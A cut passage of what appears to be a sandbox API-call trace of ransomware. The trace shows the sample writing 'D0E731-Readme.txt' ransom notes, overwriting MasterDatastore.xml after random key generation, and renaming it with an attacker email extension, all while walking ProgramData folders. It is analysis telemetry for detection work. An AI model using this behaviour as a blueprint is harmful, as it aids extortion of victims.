Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\" [0078.597] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\D0E731-Readme.txt" [0078.597] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\d0e731-readme.txt")) returned 0xffffffff [0078.597] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0078.597] WriteFile (in: hFile=0x3ac, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x208bfba0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x208bfba0*=0x481, lpOverlapped=0x0) returned 1 [0078.598] CloseHandle (hObject=0x3ac) returned 1 [0078.599] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.599] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f72d8) returned 1 [0078.599] RtlExitUserThread (Status=0x1) Thread: id = 888 os_tid = 0x14e4 [0078.599] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml")) returned 0x20 [0078.600] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0078.600] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0078.600] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2093fd50 | out: lpFileSize=0x2093fd50*=271) returned 1 [0078.600] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.600] ReadFile (in: hFile=0x3ac, lpBuffer=0x2093fd24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2093fd20, lpOverlapped=0x0 | out: lpBuffer=0x2093fd24*, lpNumberOfBytesRead=0x2093fd20*=0x4, lpOverlapped=0x0) returned 1 [0078.601] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493270 [0078.601] NtQuerySystemTime (in: CurrentTime=0x2093fcfc | out: CurrentTime=0x2093fcfc*=132121176364878255) returned 0x0 [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x10d98fc6 [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xc6afc495 [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x319577ab [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x7808944e [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xcaea3b80 [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x51813f55 [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x3ae8b207 [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xc0d8694e [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xa9e31c4e [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x1cb30f5c [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xe7781e99 [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xd2d8e7e8 [0078.601] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xff9d648 [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xc4b5817c [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xebec27a [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xf72f2aa4 [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x4c903a47 [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xc9f7af10 [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x51a5f31a [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x7d6cd05e [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xa07dc96d [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x952a58e1 [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x6a9b185e [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xcde7f28f [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x2ea806e8 [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x1ea98fad [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x6aa27d1 [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x2060a96e [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xc7edd734 [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0xc3f6e4c5 [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x863ee525 [0078.602] RtlRandom (in: Seed=0x2093fd08 | out: Seed=0x2093fd08) returned 0x3f975cdd [0078.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.613] ReadFile (in: hFile=0x3ac, lpBuffer=0x348d230, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x2093fcfc, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2093fcfc*=0x10f, lpOverlapped=0x0) returned 1 [0078.613] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2093fcc4 | out: lpNewFilePointer=0x0) returned 1 [0078.613] WriteFile (in: hFile=0x3ac, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x2093fcf8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2093fcf8*=0x10f, lpOverlapped=0x0) returned 1 [0078.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493090 [0078.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.614] WriteFile (in: hFile=0x3ac, lpBuffer=0x3493090*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2093fcf4, lpOverlapped=0x0 | out: lpBuffer=0x3493090*, lpNumberOfBytesWritten=0x2093fcf4*=0x20, lpOverlapped=0x0) returned 1 [0078.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493090) returned 1 [0078.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.614] WriteFile (in: hFile=0x3ac, lpBuffer=0x3492dc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2093fd20, lpOverlapped=0x0 | out: lpBuffer=0x3492dc0*, lpNumberOfBytesWritten=0x2093fd20*=0x8, lpOverlapped=0x0) returned 1 [0078.614] WriteFile (in: hFile=0x3ac, lpBuffer=0x2093fd38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2093fd20, lpOverlapped=0x0 | out: lpBuffer=0x2093fd38*, lpNumberOfBytesWritten=0x2093fd20*=0x4, lpOverlapped=0x0) returned 1 [0078.614] WriteFile (in: hFile=0x3ac, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2093fd20, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2093fd20*=0x4, lpOverlapped=0x0) returned 1 [0078.614] WriteFile (in: hFile=0x3ac, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2093fd20, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2093fd20*=0x6c, lpOverlapped=0x0) returned 1 [0078.614] WriteFile (in: hFile=0x3ac, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2093fd20, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x2093fd20*=0x20, lpOverlapped=0x0) returned 1 [0078.614] WriteFile (in: hFile=0x3ac, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2093fd20, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2093fd20*=0x4, lpOverlapped=0x0) returned 1 [0078.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d98) returned 1 [0078.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492dc0) returned 1 [0078.615] CloseHandle (hObject=0x3ac) returned 1 [0078.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x33e8f08 [0078.615] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" [0078.615] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0078.615] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.615] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.616] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0078.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.616] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\" [0078.616] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\D0E731-Readme.txt" [0078.616] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\d0e731-readme.txt")) returned 0x20 [0078.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475ae8) returned 1 [0078.616] RtlExitUserThread (Status=0x1) Thread: id = 889 os_tid = 0x14e8 [0078.618] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3427fc8 [0078.618] wcscpy (in: _Dest=0x3427fc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" [0078.618] wcscat (in: _Dest=0x3427fc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\" [0078.618] wcscat (in: _Dest=0x3427fc8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\*" [0078.618] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3eb0 [0078.618] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\*", lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0758 [0078.619] wcscmp (_String1=".", _String2=".") returned 0 [0078.619] FindNextFileW (in: hFindFile=0x33e0758, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.619] wcscmp (_String1="..", _String2=".") returned 1 [0078.619] wcscmp (_String1="..", _String2="..") returned 0 [0078.619] FindNextFileW (in: hFindFile=0x33e0758, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0078.619] wcscmp (_String1="RunTime", _String2=".") returned 1 [0078.619] wcscmp (_String1="RunTime", _String2="..") returned 1 [0078.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431b28 [0078.619] wcscpy (in: _Dest=0x3431b28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" [0078.619] wcscat (in: _Dest=0x3431b28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\" [0078.619] wcscat (in: _Dest=0x3431b28, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0083.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431b28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0083.019] FindNextFileW (in: hFindFile=0x33e0758, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0083.019] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0083.019] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0083.019] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f6ab8 [0083.019] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" [0083.019] wcscat (in: _Dest=0x33f6ab8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\" [0083.019] wcscat (in: _Dest=0x33f6ab8, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" [0083.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f6ab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0083.021] FindNextFileW (in: hFindFile=0x33e0758, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0083.021] FindClose (in: hFindFile=0x33e0758 | out: hFindFile=0x33e0758) returned 1 [0083.021] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3eb0) returned 1 [0083.021] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427fc8) returned 1 [0083.021] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34289d8) returned 1 [0083.021] RtlExitUserThread (Status=0x0) Thread: id = 890 os_tid = 0x14ec [0078.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccd70 [0078.620] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog" [0078.620] wcscat (in: _Dest=0x33ccd70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\" [0078.620] wcscat (in: _Dest=0x33ccd70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*" [0078.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4118 [0078.620] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b08c11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0798 [0078.622] wcscmp (_String1=".", _String2=".") returned 0 [0078.622] FindNextFileW (in: hFindFile=0x33e0798, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b08c11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.622] wcscmp (_String1="..", _String2=".") returned 1 [0078.622] wcscmp (_String1="..", _String2="..") returned 0 [0078.622] FindNextFileW (in: hFindFile=0x33e0798, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b08c11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0078.622] FindClose (in: hFindFile=0x33e0798 | out: hFindFile=0x33e0798) returned 1 [0078.622] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4118) returned 1 [0078.622] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0078.622] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd7f0) returned 1 [0078.622] RtlExitUserThread (Status=0x0) Thread: id = 891 os_tid = 0x14f0 [0078.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2600 [0078.623] wcscpy (in: _Dest=0x33e2600, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" [0078.623] wcscat (in: _Dest=0x33e2600, _Source="\\" | out: 